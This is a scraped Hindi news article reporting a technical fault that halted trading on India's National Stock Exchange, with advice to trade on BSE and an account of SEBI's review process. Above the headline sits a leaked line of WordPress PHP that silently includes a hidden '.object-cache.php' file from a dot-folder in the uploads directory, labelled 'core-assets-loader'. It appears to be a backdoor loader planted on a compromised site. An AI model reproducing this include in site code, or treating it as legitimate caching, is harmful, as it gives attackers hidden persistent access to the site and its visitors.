add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); शेयर बाजार में भारी तकनीकी गड़बड़ी, NSE में ट्रेडिंग हुई बंद, नेटवर्क में आई दिक्कत – SOCH INDIA
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शेयर बाजार में भारी तकनीकी गड़बड़ी, NSE में ट्रेडिंग हुई बंद, नेटवर्क में आई दिक्कत

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 शेयर बाजार में ट्रेडिंग करने वालों के लिए आज का दिन धड़कनें बढ़ा देने वाला रहा है. दुनिया के सबसे प्रतिष्ठित स्टॉक एक्सचेंज में शामिल नेशनल स्टॉक एक्सचेंज NSE में आज बड़ी तकनीकी खराबी आ गई, जिसके चलते सुबह से ही इंडेक्स अपडेट नहीं हो रहे, इसे देखते हुए पहले तो 11.40 पर NSE ने फ्चूयर एंड ऑप्शन में ट्रेडिंग को बंद कर दिया, फिर 11.43 पर कैश मार्केट को भी बंद कर दिया गया.

NSE में फिर से तकनीकी दिक्कत, ट्रेडिंग बंद

एक्सपर्ट्स का कहना है कि इस तकनीकी खराबी से ट्रेडर्स को बड़ा नुकसान होने का अनुमान है, क्योंकि स्टॉक्स तो अपडेट हो रहे हैं, लेकिन इंडेक्स में कोई अपडेट नहीं दिख रहा है. ये अपने आप में एक अलग समस्या है, जो NSE में पहले कभी नहीं देखी गई. ट्रेडर्स परेशान हैं कि उनका ट्रेड अटका है तो अब वो क्या करें. NSE की ओर से कहा गया है कि वो नया समय जल्द बताएंगे.

ट्रेडिंग का समय बढ़ाने की मांग 

मार्केट एक्सपर्ट्स की मांग है कि शुरू के 2 घंटे बाजार के खराब हो चुके हैं, ऐसे में NSE को ट्रेडिंग का समय आगे बढ़ाया जाना चाहिए. एक्सपर्ट्स का कहना है कि जबतक NSE में ट्रेडिंग शुरू नहीं होती, तब तक BSE का इस्तेमाल करें. NSE का कहना है कि नेटवर्क में दिक्कत के चलते काम को बंद करना पड़ा है, टेलीकॉम सर्विस प्रोवाइडर्स ने नेटवर्क में दिक्कत की जानकारी दी है. जल्द ही इसे ठीक कर लिया जाएगा. NSE में तकनीकी गड़बड़ी का ये पहला मामला नहीं है, पिछले साल भी ऐसी ही दिक्कत आई थी, तब सेबी ने NSE पर पेनाल्टी भी लगाई थी

BSE में जाकर ट्रेड करने की सलाह

कैश मार्केट में NSE के बेंचमार्क इंडेक्स Nifty और निफ्टी बैंक अपडेट नहीं हो रहे हैं. हालांकि इंटरऑपरेबिलिटी की वजह से जो ट्रेडर्स NSE पर ट्रेड नहीं कर पा रहे हैं उन्हें BSE पर जाकर ट्रेडिंग की सलाह भी दी जा रही है.

तकनीकी दिक्कतों के बाद क्या होता है एक्शन 

किसी भी एक्सचेंज में अगर कोई दिक्कत आती है तो एक्सचेंज को पूरी रिपोर्ट बनाकर सेबी को देनी होती है. रूट कॉज़ एनालिसिस और सॉल्यूशन भी बताना होता है. अगली बार दिक्कत नहीं आए इसका प्लान देना होता है. सेबी अगर दिए गए वजहों से संतुष्ट नहीं तो सवाल जवाब भी होता है.
सेबी अपनी टेक्निकल एडवाइज़री कमेटी से भी मदद लेती है.